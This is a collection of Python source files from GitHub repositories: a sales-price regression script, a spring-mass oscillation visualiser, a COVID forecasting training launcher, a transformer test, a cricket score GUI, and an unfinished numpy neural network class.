800)\r\nimputer_item_fat_content(test_df)\r\nimputer_item_weight(test_df)\r\nimputer_item_visibility(test_df)\r\n\r\n# handling categorical data (label encoding)\r\nlabelencoding_item_fat_content(test_df)\r\nlabelencoding_outlet_size(test_df)\r\nlabelencoding_Outlet_Type(test_df)\r\nlabelencoding_outlet_location_type(test_df)\r\n\r\n# Onehot encoding for Item_Type and Outlet_Identifier\r\nx = pd.get_dummies(test_df.Item_Type)\r\ntest_df = pd.concat([test_df.iloc[:,1:], x], axis=1)\r\ntest_df = test_df.drop(['Item_Type'], axis=1)\r\nx = pd.get_dummies(test_df.Outlet_Identifier)\r\ntest_df = pd.concat([test_df, x], axis=1)\r\ntest_df = test_df.drop(['Outlet_Identifier'], axis=1)\r\n\r\nlr = LinearRegression()\r\nridge = Ridge(alpha=0.01, normalize=True)\r\nlasso = Lasso(alpha=0.1, normalize=True)\r\nelasticnet = ElasticNet(alpha=0.01, l1_ratio=1)\r\nrfr = RandomForestRegressor(n_estimators=500, min_samples_split=350)\r\n\r\n\r\n# linear regression model\r\nlr.fit(train_df, y)\r\n# coeff_lr = pd.DataFrame(lr.coef_, train_df.columns, columns=['Coefficient'])\r\n# print(coeff_lr)\r\nlr_predict = lr.predict(test_df)\r\nmodel1 = pd.DataFrame(lr_predict, columns=['Linear predict'])\r\nlr_coef1 = pd.Series(lr.coef_, train_df.columns).sort_values()\r\nlr_coef1.plot(kind='bar', title='Model Coefficients')\r\n\r\n#ridge model\r\nridge.fit(train_df, y)\r\n# coeff_ridge = pd.DataFrame(ridge.coef_, train_df.columns, columns=['Coefficient'])\r\nridge_predict = ridge.predict(test_df)\r\nmodel2 = pd.DataFrame(ridge_predict, columns=['Ridge predict'])\r\nridge_coef = pd.Series(ridge.coef_, train_df.columns).sort_values()\r\nridge_coef.plot(kind='bar', title='Model Coefficients')\r\n#lasso model\r\nlasso.fit(train_df, y)\r\ncoeff_lasso = pd.DataFrame(lasso.coef_,train_df.columns, columns=['Coefficient'])\r\nlasso_predict = lasso.predict(test_df)\r\nmodel3 = pd.DataFrame(lasso_predict, columns=['Lasso predict'])\r\n\r\n#elastic net model\r\nelasticnet.fit(train_df, y)\r\ncoeff_elastic = pd.DataFrame(elasticnet.coef_, train_df.columns,columns=['Coefficient'])\r\nelastic_predict = elasticnet.predict(test_df)\r\nmodel4 = pd.DataFrame(elastic_predict, columns=['Elastic predict'])\r\n\r\n#random forest model\r\nrfr.fit(train_df, y)\r\nrfr_predict = rfr.predict(test_df)\r\nmodel5 = pd.DataFrame(rfr_predict, columns=['RandomForest predict'])\r\nrfr_coef = pd.Series(rfr.feature_importances_, train_df.columns).sort_values()\r\nrfr_coef.plot(kind='bar', title='Model coefficients')\r\n# Neuro network model\r\nX = train_df.values\r\nY = y.values\r\ntest = test_df.values\r\nmodel.fit(X, Y, nb_epoch=num_epochs, batch_size=batch_size, shuffle=True)\r\npredicts = model.predict(test)\r\nmodel6 = pd.DataFrame(predicts, columns=['NNetwork predict'])\r\n\r\n\r\n# Campare the all model's predictions\r\nfinal_test = pd.concat((model1, model2, model3, model4, model5, model6), axis=1)\r\nfinal_test.to_csv('final_result.csv', index=False)\r\nprint(final_test.head())\r\nprint(final_test.mean().head())\r\n\r\n\r\n","repo_name":"deepakjon31/dataScientist","sub_path":"scripts/predict_price_kmart.py","file_name":"predict_price_kmart.py","file_ext":"py","file_size_in_byte":10042,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"71513096804","text":"import abc\nimport math as pymath\nimport threading, time\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom demo import *\nfrom abc import *\nfrom ipycanvas import hold_canvas, Canvas\n\n\nclass Angle(Model):\n \"\"\"\n Concrete implementation of Model for the angle model\n \"\"\"\n def calculate(self):\n return str(self)\n\n def draw(self):\n if self.canvas is None:\n return\n #self.w_0 = self.circular_frequency().real()\n\n with hold_canvas():\n self.canvas.clear()\n phi = self.evaluate(self.t).real()\n self.canvas.fill_rect(50 + phi, 50, 20, 20)\n self.t = (self.t + 1) % 20\n self.canvas.sleep(20)\n\n def __init__(self, mass, feather, start_angle, c=None):\n self.mass = FloatChangeable(mass, unit=\"kg\", base=0, _min=1.0, desc=\"Masse $~~m$\")\n self.feather = FloatChangeable(feather, unit=\"kN/m\", base=3, _min=1.0, desc=\"Federsteifigkeit $~~k$\")\n self.start_angle = FloatChangeable(start_angle, unit=\"rad/s\", _min=0.1, _max=pymath.pi / 2, step=0.001, desc=\"Anfangswinkelgeschwindigkeit $~~\\Phi_0$\")\n\n self.w_0 = self.circular_frequency().real()\n self.t = FloatChangeable(0, unit=\"s\", _min=-self.duration().real() * 3, _max=self.duration().real() * 3,\n desc=\"Zeit $~~t$\", continuous_update=True, step=self.duration().real() / 100,\n should_update=True, width='50px')\n self.canvas = c\n\n self.params = [\n ChangeableContainer([self.mass, self.feather, self.start_angle]),\n ChangeableContainer([self.t])\n ]\n\n def circular_frequency(self):\n \"\"\"\n Calculates the circular frequency of the system\n\n :return: Variable object containing the circular frequency [unit: rad/s]\n \"\"\"\n return Variable(pymath.sqrt((2 * self.feather.real()) / ((5. / 3.) * self.mass.real())), unit='rad/s')\n\n def evaluate(self, t):\n \"\"\"\n Evaluates the solution of the initial value problem for the given time\n\n :param t: time [unit: s]\n :return: Variable object of the angle [unit: rad]\n \"\"\"\n self.w_0 = self.circular_frequency().real()\n a = self.start_angle.real() / self.w_0\n if type(t) == np.ndarray:\n return a * np.sin(self.w_0 * t)\n return Variable(a * np.sin(self.w_0 * t), unit='rad')\n\n def frequency(self):\n \"\"\"\n Calculates the frequency of the system\n\n :return: Variable object containing the frequency [unit: Hz]\n \"\"\"\n return Variable(self.w_0 / (2 * pymath.pi), unit='Hz')\n\n def duration(self):\n \"\"\"\n Calculates the duration of the system\n\n :return: Variable object containing the duration [unit: s]\n \"\"\"\n return Variable(1 / self.frequency().real(), unit='s')\n\n def get_evaluation(self):\n \"\"\"\n Returns the evaluation of the solution of the initial value problem as a string\n\n :return: string containing the evaluation\n \"\"\"\n w_0 = self.circular_frequency()\n return f'{(self.start_angle.real() / w_0.real()):.2f} * sin({w_0.real():.2f}t)'\n\n def __repr__(self):\n table = Table([\"Funktion\", \"Ergebnis\"], 2)\n table.add_rows([\n [f'Eigenkreisfrequenz $w_0 = $', f'${self.circular_frequency().rounded_latex(2)}$'],\n [f'Schwingungsdauer $T = $', f'${self.duration().rounded_latex(2)}$'],\n [f'Eigenfrequenz $f_0 = $', f'${self.frequency().rounded_latex(2)}$'],\n [f'Lösung des Anfangswertproblems $\\phi(t) = $', f'${self.get_evaluation()} ~~ [\\mathrm{{rad}}]$'],\n [f'Lösung für $\\phi({self.t.rounded()}) = $',f'${self.evaluate(self.t.real()).rounded_latex(2)}$']\n ])\n return table.show()\n\n def __str__(self):\n return self.__repr__()\n\n def observe(self, func):\n self.feather.observe(func)\n self.mass.observe(func)\n self.start_angle.observe(func)\n self.t.observe(func)\n\n\nclass AngleCanvas:\n \"\"\"\n Represents the canvas for the angle model\n \"\"\"\n def __init__(self, angle: Angle, plot: Plot, width=600, height=200, L=2):\n super().__init__()\n self.angle = angle\n self.plot = plot\n self.plot.grid()\n self.line = self.plot.add_line(0, color='red')\n self.canvas = Canvas(width=width, height=height)\n self.ctrl_btn = SwitchClickButton(\n descriptions=[\"Schwingung starten\", \"Schwingung stoppen\"],\n disabled=False,\n button_styles=['primary', 'danger'],\n tooltips=['Startet die Schwingung mit den gegebenen Parametern des Winkels. Startet bei t=0s.',\n 'Stoppt die Schwingung, sobald sie die nächste Ruhelage (t=k*T) erreicht hat. Setzt t=0s.'],\n )\n self.ctrl_btn.observe(self.control_oscilation)\n\n self.stop_btn = ClickButton(\n description=\"Schwingung stoppen\",\n disabled=False,\n button_style='danger',\n tooltip='Stoppt die Schwingung, sobald sie die nächste Ruhelage (t=k*T) erreicht hat. Setzt t=0s.',\n )\n self.stop_btn.observe(self.stop_oscilate)\n\n self.plot_box = BoxVertical([self.ctrl_btn.display, self.plot.widget]).display\n\n self.t = 0\n self.L = L\n self.osc = None\n self.scale = width / height * 2.5\n self.canvas.on_client_ready(self.do_draw)\n self.oscilating = False\n self.lock = threading.Lock()\n\n def on_angle_changed(self, args):\n \"\"\"\n Callback for when the angle changes\n\n :param args: Arguments for the oscilation\n :return: None\n \"\"\"\n self.control_oscilation(args)\n\n def oscilate(self):\n \"\"\"\n Thread that oscilates the visualization of the model\n\n :return: None\n \"\"\"\n max_t = self.angle.duration().real()\n self.oscilating = True\n vals = np.linspace(0, max_t * 15, 500)\n plt.ioff()\n i = 0\n t = vals[i]\n while not (not self.oscilating and -0.01 < t % max_t < 0.01):\n t = vals[i]\n phi = self.angle.evaluate(t)\n with hold_canvas(self.canvas):\n # canvas.canvas.rotate(phi.real())\n self.draw(phi.real())\n self.plot.set_xlim([t - max_t, t + max_t])\n self.plot.update_line(self.line, [t])\n self.plot.flush()\n self.canvas.sleep(10)\n self.plot.sleep(0.01)\n i = (i + 1) % len(vals)\n self.canvas.reset_transform()\n self.draw()\n self.plot.set_xlim([-max_t, max_t])\n self.plot.update_line(self.line, [0])\n self.plot.flush()\n plt.ion()\n\n def pl_thr(self):\n \"\"\"\n Thread that moves the plot along the oscilation\n\n :return: None\n \"\"\"\n vals = np.linspace(0, 30, 100)\n for t in vals:\n phi = self.angle.evaluate(t)\n with hold_canvas(self.canvas):\n self.plot.mark(t, phi.real())\n time.sleep(0.002)\n\n def do_draw(self):\n self.draw()\n\n def draw_time(self, t):\n \"\"\"\n Draws the model at a given time\n\n :param t: Time to draw the model at\n :return: None\n \"\"\"\n self.draw(self.angle.evaluate(t).real())\n\n def draw(self, angle=0):\n \"\"\"\n Draws the model at a given angle\n\n :param angle: the angle of the system\n :return: None\n \"\"\"\n self.canvas.clear()\n self.canvas.reset_transform()\n self.canvas.scale(self.scale, self.scale)\n x = self.canvas.width / self.scale / 2\n y = 15\n self.canvas.fill_style = hexcode((230, 230, 230))\n cx = x\n cy = self.angle.mass.value / 2 + self.L + y - 5\n pivot = (cx, cy)\n\n s = np.sin(angle)\n c = np.cos(angle)\n\n px = x - cx\n py = y - cy\n\n xp = px * c - py * s\n yp = px * s + py * c\n\n x1 = x\n y1 = self.angle.mass.value / 2 + self.L + y - 5\n x2 = x - 5\n y2 = self.angle.mass.value / 2 + self.L + y\n x3 = x + 5\n y3 = self.angle.mass.value / 2 + self.L + y\n\n xp1, yp1 = self.rotate_point(pivot, (x1, y1), s, c)\n xp2, yp2 = self.rotate_point(pivot, (x2, y2), s, c)\n xp3, yp3 = self.rotate_point(pivot, (x3, y3), s, c)\n\n self.canvas.stroke_line(xp + cx, 9 + yp + cy, xp1 + cx,\n self.angle.mass.value / 2 + y + self.L)\n self.canvas.fill_circle(xp + cx, yp + cy, 9)\n if self.osc is None:\n self.canvas.stroke_text('m', xp - 4.5 + cx, yp + 2 + cy)\n self.canvas.stroke_circle(xp + cx, yp + cy, 9)\n\n self.canvas.fill_style = hexcode((0, 0, 0))\n\n self.canvas.fill_polygon([(xp1 + cx, yp1 + cy),\n (xp2 + cx, yp2 + cy),\n (xp3 + cx, yp3 + cy),\n ])\n if self.osc is None:\n self.canvas.stroke_style = hexcode((20, 20, 20))\n self.canvas.font = \"10px Arial\"\n self.canvas.stroke_text('a', xp1 + cx - 9, yp1 + cy - 2)\n self.canvas.stroke_style = 'black'\n\n self.canvas.stroke_line(x, self.angle.mass.value / 2 + self.L + y + 5, x - 5,\n self.angle.mass.value / 2 + self.L + y + 15)\n self.canvas.stroke_line(x, self.angle.mass.value / 2 + self.L + y + 5, x + 5,\n self.angle.mass.value / 2 + self.L + y + 15)\n\n self.fancy_line(x - 10, x + 10, self.angle.mass.value / 2 + y + self.L + 15, x_offset=3)\n\n self.canvas.fill_style = hexcode((255, 255, 255))\n self.canvas.fill_arc(x, self.angle.mass.value / 2 + y + self.L + 5, 5, 0, pymath.pi)\n self.canvas.stroke_arc(x, self.angle.mass.value / 2 + y + self.L + 5, 5, 0, pymath.pi)\n\n self.canvas.fill_style = hexcode((230, 230, 230))\n\n xr1 = x - self.L\n yr1 = self.angle.mass.value / 2 + y + self.L\n xr2 = xr1 + self.L * 2\n yr2 = yr1\n xr3 = xr1 + self.L * 2\n yr3 = yr1 + 5\n xr4 = xr1\n yr4 = yr3\n\n xpr1, ypr1 = self.rotate_point(pivot, (xr1, yr1), s, c)\n xpr2, ypr2 = self.rotate_point(pivot, (xr2, yr2), s, c)\n xpr3, ypr3 = self.rotate_point(pivot, (xr3, yr3), s, c)\n xpr4, ypr4 = self.rotate_point(pivot, (xr4, yr4), s, c)\n\n xa1 = xr2\n ya1 = yr1 + 2.5\n xa2 = xr1\n ya2 = ya1\n\n xpa1, ypa1 = self.rotate_point(pivot, (xa1, ya1), s, c)\n xpa2, ypa2 = self.rotate_point(pivot, (xa2, ya2), s, c)\n\n self.canvas.fill_arc(xpa1 + cx, ypa1 + cy, 2.5, pymath.pi / 2,\n 3 * pymath.pi / 2, True)\n self.canvas.stroke_arc(xpa1 + cx, ypa1 + cy, 2.5, pymath.pi / 2,\n 3 * pymath.pi / 2, True)\n self.canvas.fill_arc(xpa2 + cx, ypa2 + cy, 2.5, pymath.pi / 2,\n 3 * pymath.pi / 2)\n self.canvas.stroke_arc(xpa2 + cx, ypa2 + cy, 2.5, pymath.pi / 2,\n 3 * pymath.pi / 2)\n\n self.canvas.fill_polygon(\n [(xpr1 + cx, ypr1 + cy), (xpr2 + cx, ypr2 + cy), (xpr3 + cx, ypr3 + cy), (xpr4 + cx, ypr4 + cy)])\n self.canvas.stroke_polygon(\n [(xpr1 + cx, ypr1 + cy), (xpr2 + cx, ypr2 + cy), (xpr3 + cx, ypr3 + cy), (xpr4 + cx, ypr4 + cy)])\n\n ezz1 = self.zigzag_stretch(xpr4 + cx, ypr4 + cy, xpr4 + cx, self.angle.mass.value / 2 + y + self.L + 5 + 20,\n x_offset=5, label='k' if self.osc is None else '')\n ezz2 = self.zigzag_stretch(xpr3 + cx, ypr3 + cy, xpr3 + cx, self.angle.mass.value / 2 + y + self.L + 5 + 20,\n x_offset=5, label='k' if self.osc is None else '')\n\n self.fancy_line(x - self.L - 10, x - self.L + 10, self.angle.mass.value / 2 + y + self.L + 5 + 20, x_offset=3)\n self.fancy_line(x + self.L - 10, x + self.L + 10, self.angle.mass.value / 2 + y + self.L + 5 + 20, x_offset=3)\n\n\n def rotate_point(self, pivot, point, s, c):\n \"\"\"\n Rotate a point counterclockwise by a given angle around a given origin.\n\n :param pivot: the origin of the rotation\n :param point: the point to rotate\n :param s: the sine of the angle\n :param c: the cosine of the angle\n :return: the rotated point\n \"\"\"\n cx, cy = pivot\n x, y = point\n px = x - cx\n py = y - cy\n xp = px * c - py * s\n yp = px * s + py * c\n return xp, yp\n\n def zigzag(self, x, y, steps=7, x_offset=10, y_offset=5, y1=None):\n \"\"\"\n Draw a zigzag line\n\n :param x: the x coordinate of the start of the line\n :param y: the y coordinate of the start of the line\n :param steps: the number of steps in the zigzag\n :param x_offset: the x distance between each step\n :param y_offset: the y distance between each step\n :param y1: the y coordinate of the end of the line (if None, the end of the line is calculated)\n :return: the x and y coordinates of the end of the line\n \"\"\"\n self.canvas.stroke_line(x, y, x, y + y_offset)\n self.canvas.stroke_line(x, y + y_offset, x - x_offset, y + y_offset * 2)\n for i in range(2, steps):\n x_0 = x + x_offset * (-1) ** (i - 1)\n y_0 = y + y_offset * i\n x_1 = x + x_offset * (-1) ** i\n y_1 = y + y_offset * (i + 1)\n self.canvas.stroke_line(x_0, y_0, x_1, y_1)\n self.canvas.stroke_line(x + x_offset * (-1) ** (steps - 1), y + y_offset * steps,\n x, y + y_offset * (steps + 1))\n if y1 is None:\n self.canvas.stroke_line(x, y + y_offset * (steps + 1), x, y + y_offset * (steps + 2))\n else:\n self.canvas.stroke_line(x, y + y_offset * (steps + 1), x, y1)\n return x, y + y_offset * (steps + 2) if y1 is None else y1\n\n def zigzag_stretch(self, x0, y0, x1, y1, steps=7, x_offset=10, label=''):\n \"\"\"\n Draw a zigzag line with a label that stretches between the start and end of the line\n\n :param x0: the x coordinate of the start of the line\n :param y0: the y coordinate of the start of the line\n :param x1: the x coordinate of the end of the line [same as x0]\n :param y1: the y coordinate of the end of the line\n :param steps: the number of steps in the zigzag\n :param x_offset: the x distance between each step (the y distance is calculated)\n :param label: the label to draw\n :return: the x and y coordinates of the end of the line\n \"\"\"\n y_offset = abs(y1 - y0) / (steps + 2)\n ezz = self.zigzag(x0, y0, steps=steps, y_offset=y_offset, x_offset=x_offset)\n center = abs(y1 - y0) / 2 + min(y0, y1)\n self.canvas.stroke_text(label, x0 - 15, center)\n if ezz[1] < y1:\n self.canvas.stroke_line(x0, ezz[1], x0, y1)\n return x0, y1\n\n def fancy_line(self, x_0, x_1, y, x_offset=2.5, y_offset=5):\n \"\"\"\n Draw a horizontal line with multiple diagonal vertical lines that extend from the horizontal line\n\n :param x_0: the x coordinate of the start of the horizontal line\n :param x_1: the x coordinate of the end of the horizontal line\n :param y: the y coordinate of the horizontal line\n :param x_offset: the x distance between each vertical line\n :param y_offset: the extent of each vertical line\n :return:\n \"\"\"\n self.canvas.stroke_line(x_0, y, x_1, y)\n x = x_0\n while x < x_1 - x_offset:\n self.canvas.stroke_line(x, y + y_offset, x + x_offset, y)\n x += x_offset\n\n def control_oscilation(self, btn):\n \"\"\"\n Start the oscillation thread of the system\n\n :param btn: catcher param\n :return: None\n \"\"\"\n if not self.oscilating:\n self.oscilating = True\n self.osc = threading.Thread(target=self.oscilate)\n self.osc.start()\n return\n if self.oscilating:\n self.oscilating = False\n self.osc.join()\n self.osc = None\n self.pl = None\n self.draw(0)\n return\n\n def stop_oscilate(self, btn):\n \"\"\"\n Stops the oscillation thread of the system\n\n :param btn: catcher param\n :return: None\n \"\"\"\n if self.oscilating:\n self.oscilating = False\n self.osc.join()\n self.play_btn.disabled = False\n self.osc = None\n self.pl = None\n self.draw(0)\n\n\ndef setup_angle(m, k, w):\n \"\"\"\n Factory method for creating an angle object\n\n :param m: Mass of the angle\n :param k: Feathering coefficient of the angle\n :param w: Initial Angular velocity of the angle\n :return: an angle object\n \"\"\"\n return Angle(m, k, w)\n","repo_name":"lhalbritter-tu/hydraulics_models","sub_path":"ElasticAngle_Model/angle.py","file_name":"angle.py","file_ext":"py","file_size_in_byte":17016,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"28443531357","text":"import subprocess\nimport pudb\nfrom tqdm import tqdm\nfrom optparse import OptionParser\nimport sys\nparser = OptionParser()\nparser.add_option(\"--epiweek_start\", dest=\"epiweek_start\", default=\"202232\", type=\"string\")\nparser.add_option(\"--epiweek_end\", dest=\"epiweek_end\", default=\"202310\", type=\"string\")\nparser.add_option(\"-d\", \"--disease\", dest=\"disease\", default=\"covid\", type=\"string\")\nparser.add_option(\"--epochs\", dest=\"epochs\", default=300, type=\"int\")\nparser.add_option(\"--seed\", dest=\"seed\", default=0, type=\"int\")\nparser.add_option(\"--cnn\", dest=\"cnn\", action=\"store_true\", default=False)\nparser.add_option(\"--rag\", dest=\"rag\", action=\"store_true\", default=False)\n\n# epiweeks = list(range(202101, 202153))\n(options, args) = parser.parse_args()\nif \"2023\" in options.epiweek_end:\n epiweeks = list(range(int(options.epiweek_start), 202252)) + list(range(202301, int(options.epiweek_end)))\nelse:\n epiweeks = list(range(int(options.epiweek_start), int(options.epiweek_end)))\n\n# pu.db\n\nif options.cnn and options.rag:\n print(\"Cannot have both cnn and rag\")\n sys.exit(0)\n# pu.db\nstates = [\n \"AL\",\n \"AK\",\n \"AZ\",\n \"AR\",\n \"CA\",\n \"CO\",\n \"CT\",\n \"DE\",\n \"DC\",\n \"FL\",\n \"GA\",\n \"ID\",\n \"IL\",\n \"IN\",\n \"IA\",\n \"KS\",\n \"KY\",\n \"LA\",\n \"ME\",\n \"MD\",\n \"MA\",\n \"MI\",\n \"MN\",\n \"MS\",\n \"MO\",\n \"MT\",\n \"NE\",\n \"NV\",\n \"NH\",\n \"NJ\",\n \"NM\",\n \"NY\",\n \"NC\",\n \"ND\",\n \"OH\",\n \"OK\",\n \"OR\",\n \"PA\",\n \"RI\",\n \"SC\",\n \"SD\",\n \"TN\",\n \"TX\",\n \"UT\",\n \"VT\",\n \"VA\",\n \"WA\",\n \"WV\",\n \"WI\",\n \"WY\",\n \"X\",\n]\n\n# subprocess.run(\n# [\n# \"bash\",\n# \"./scripts/hosp_preprocess.sh\",\n# options.epiweek_end,\n# ]\n# )\n\n# if options.epiweek is not None and int(options.epiweek)> 202153:\n# subprocess.run(\n# [\n# \"bash\",\n# \"./scripts/hosp_preprocess.sh\",\n# options.epiweek,\n# ]\n# )\n# else:\n# subprocess.run(\n# [\n# \"bash\",\n# \"./scripts/hosp_preprocess.sh\",\n# str(\"202240\"),\n# ]\n# )\n\n# sample_out = [True, False]\nsample_out = [True]\n# lr = [0.001, 0.0001]\nlr = [0.001]\n# patience = [1000, 3000]\npatience = [500]\nahead = [1,2,3]\n# ahead = [4]\nepiweeks = epiweeks[:-max(ahead)]\n\nfor pat in patience:\n for sample in sample_out:\n for lr_ in lr:\n for week in tqdm(epiweeks):\n for ah in ahead:\n save_model = \"disease_\"+str(options.disease)+\"_epiweek_\"+str(week)+\"_weekahead_\"+str(ah)\n to_run = []\n \n if options.cnn:\n save_model = \"cnn_\"+save_model\n to_run = to_run +[\"--cnn\"]\n\n elif options.rag:\n save_model = \"rag_\"+save_model\n to_run = to_run +[\"--rag\"]\n\n else:\n save_model = \"normal_\"+save_model\n\n if options.seed != 0:\n save_model = save_model + \"_seed_\"+str(options.seed)\n to_run = to_run +[\"--seed\", str(options.seed)]\n\n to_run = [\n \"python\",\n \"train_hosp_revised_refsetsupdated.py\",\n \"--epiweek\",\n str(week),\n \"--lr\",\n str(lr_),\n \"--save\",\n save_model,\n \"--epochs\",\n str(options.epochs),\n \"--patience\",\n str(pat),\n \"-d\",\n str(ah),\n \"--tb\",\n ] + to_run\n print(f\"Training {save_model}\")\n subprocess.run(\n to_run\n )\n","repo_name":"americast/FNPpp","sub_path":"Model_Training/CAMul-deploy-hosp/run_covid.py","file_name":"run_covid.py","file_ext":"py","file_size_in_byte":4142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"23167833332","text":"from model import MyTransformerDecoderLayer\nimport torch\n\nif __name__ == '__main__':\n decoder_layer = MyTransformerDecoderLayer(d_model=768, nhead=12)\n sz = 5\n tgt = torch.randn([sz, 2, 768])\n key_padding_mask = torch.tensor([[False, False, False, False, True],\n [False, False, False, True, True]])\n mask = (torch.triu(torch.ones(sz, sz)) == 1).transpose(0, 1)\n mask = mask.float().masked_fill(mask == 0, float('-inf')).masked_fill(mask == 1, float(0.0))\n output = decoder_layer(tgt=tgt, tgt_mask=mask, key_padding_mask=key_padding_mask)\n print(output.shape)\n","repo_name":"moon-hotel/ToyGPT","sub_path":"test/test_MyTransformerDecoderLayer.py","file_name":"test_MyTransformerDecoderLayer.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"1051285566","text":"from PIL import Image, ImageDraw\nimport cv2\n\nwidth = 240\nheight = 480\n\nimg = Image.new( mode = \"RGB\", size = (width, height), color = (255,255,255) )\ndraw = ImageDraw.Draw(img)\ndraw.line((0,int(height/2),(int(width), int(height/2))), fill=128)\nimg.save(\"public/court.jpeg\")","repo_name":"michelenardini99/Tracking-of-Ball-and-Players-in-Beach-Volleyball-Videos","sub_path":"create_map.py","file_name":"create_map.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"40331956772","text":"import datetime\r\nimport time\r\nfrom tkinter import *\r\nfrom CricketScore import matchScores\r\n\r\nwindow=Tk()\r\nwindow.wm_title(\"Live Cricket Scores\")\r\n\r\nlines = matchScores()\r\n\r\nupLeft = Frame(window, borderwidth=2, relief=\"solid\", bg = 'WHITE')\r\nupLeft.grid(row = 0, column = 0)\r\nupRight = Frame(window, borderwidth=2, relief=\"solid\", bg = 'ORANGE')\r\nupRight.grid(row = 0, column = 3)\r\nbottomLeft = Frame(window, borderwidth=2, relief=\"solid\", bg = 'GREEN')\r\nbottomLeft.grid(row = 3, column = 0)\r\nbottomRight = Frame(window, borderwidth=2, relief=\"solid\", bg = 'YELLOW')\r\nbottomRight.grid(row = 3, column = 3)\r\n\r\nl1=Label(upLeft,text=\"Score 1\", bg = 'WHITE')\r\nl1.grid(row=0,column=0)\r\n\r\nl5=Label(upLeft,text=lines[0],height=5,width=60, bg = 'WHITE')\r\nl5.grid(row=2,column=0)\r\n\r\nl2=Label(upRight,text=\"Score 2\", bg = 'ORANGE')\r\nl2.grid(row=0,column=4)\r\n\r\nl6=Label(upRight,text=lines[1],height=5,width=60, bg = 'ORANGE')\r\nl6.grid(row=2,column=4)\r\n\r\nl3=Label(bottomLeft,text=\"Score 3\", bg = 'GREEN')\r\nl3.grid(row=3,column=0)\r\n\r\nl7=Label(bottomLeft,text=lines[2],height=5,width=60, bg = 'GREEN')\r\nl7.grid(row=5,column=0)\r\n\r\nl4=Label(bottomRight,text=\"Score 4\", bg = 'YELLOW')\r\nl4.grid(row=3,column=3)\r\n\r\nl8=Label(bottomRight,text=lines[3],height=5,width=60, bg = 'YELLOW')\r\nl8.grid(row=5,column=3)\r\n\r\ndef clock():\r\n lines = matchScores()\r\n\r\n l5['text'] = lines[0]\r\n l6['text'] = lines[1]\r\n l7['text'] = lines[2]\r\n l8['text'] = lines[3]\r\n window.after(2000, clock)\r\n\r\nclock()\r\nwindow.geometry(\"860x213\")\r\nwindow.mainloop()","repo_name":"akhilreddy619/CricBuzz-Scores","sub_path":"Notifier.py","file_name":"Notifier.py","file_ext":"py","file_size_in_byte":1531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"11152792485","text":"from road_vehicle import LivestockHauler, DieselRoadVehicle\n\nconsist = LivestockHauler(id='swineshead_livestock',\n base_numeric_id=440,\n name='Swineshead',\n vehicle_life=40,\n intro_date=1970)\n\nconsist.add_unit(type=DieselRoadVehicle,\n capacity=25,\n vehicle_length=6)\n\nconsist.add_unit(capacity=15,\n vehicle_length=4)\n","repo_name":"andythenorth/road-hog","sub_path":"src/vehicles/swineshead_livestock.py","file_name":"swineshead_livestock.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"1156981045","text":"import numpy as np\r\nclass multiLayerNN:\r\n\r\n def relu(self,Z):\r\n A = np.maximum(0,Z)\r\n cache = Z\r\n return A,cache\r\n \r\n def sigmoid(self,Z):\r\n A = 1/(1+np.exp(-Z))\r\n cache = Z\r\n return A,cache\r\n\r\n def relu_backward(self,dA,cache):\r\n Z = cache\r\n dZ = np.array(dA,copy=True)\r\n dZ[Z<=0] = 0\r\n return dZ\r\n\r\n def sigmoid_backward(self,dA,cache):\r\n Z = cache\r\n s = 1/(1+np.exp(-Z))\r\n dZ = dA*s*(1-s)\r\n return dZ\r\n\r\n def initialiseParameter(self,layerDims):\r\n parameters = {}\r\n l = len(layerDims)\r\n for i in range(1,l):\r\n parameters['W'+str(i)] = np.random.randn(layerDims[i],layerDims[i-1])*0.01\r\n parameters['b'+str(i)] = np.zeros((layerDims[i],1))\r\n return parameters\r\n\r\n def linearforward(A, W, b):\r\n Z = np.dot(W,A)+b\r\n cache = (A, W, b)\r\n return Z, cache\r\n \r\n def linearActivationForward(A_prev, W, b, activation):\r\n if activation == \"sigmoid\":\r\n Z, linear_cache = linearforward(A_prev, W, b)\r\n A, activation_cache = sigmoid(Z)\r\n elif activation == \"relu\":\r\n Z, linear_cache = linearforward(A_prev, W, b)\r\n A, activation_cache = relu(Z)\r\n cache = (linear_cache, activation_cache)\r\n return A, cache\r\n\r\n\r\n def compute_cost(AL, Y):\r\n m = Y.shape[1]\r\n cost = np.sum(-((Y*np.log(AL))+((1-Y)*np.log(1-AL)))/m,axis = 1,keepdims = True)\r\n cost = np.squeeze(cost) # To make sure your cost's shape is what we expect (e.g. this turns [[17]] into 17).\r\n return cost\r\n \r\n def forward(self,parameters,X):\r\n caches = []\r\n l = len(parameters)//2\r\n A=X\r\n for i in range(1,l):\r\n A_prev = A\r\n A,cache = self.linearActivationForward(A_prev,parameters['W'+str(l)],parameters['b'+str(l)],\"relu\")\r\n caches.append(cache)\r\n Al,cache = self.linearActivationForward(A_prev,parameters['W'+str(l)],parameters['b'+str(l)],\"sigmoid\")\r\n caches.append(cache)\r\n return Al,caches\r\n\r\n def linearbackward(dz,cache):\r\n A_prev, W, b = cache\r\n m = A_prev.shape[1]\r\n dW = (np.dot(dZ,np.transpose(A_prev)))/m\r\n db = np.sum(dZ,axis = 1,keepdims = True)/m\r\n dA_prev = np.dot(np.transpose(W),dZ)\r\n return dA_prev, dW, db\r\n \r\n def linearActivationBackward(self,dA,cache,activation):\r\n linear_cache,activation_cache = cache\r\n if activation == 'relu':\r\n dZ = self.relu_backward(dA,activation_cache)\r\n dA_prev,dW,db = self.linearbackward(dZ,linear_cache)\r\n else:\r\n dZ = self.sigmoid_backward(dA,activation_cache)\r\n da_prev,dW,db = self.linearbackward(dA,linear_cache)\r\n return dA_prev,dW,db\r\n\r\n def backward(self,AL,Y,caches):\r\n grads = {}\r\n L = len(caches)\r\n m = AL.shape[1]\r\n dAL = -(np.divide(Y,AL)) - 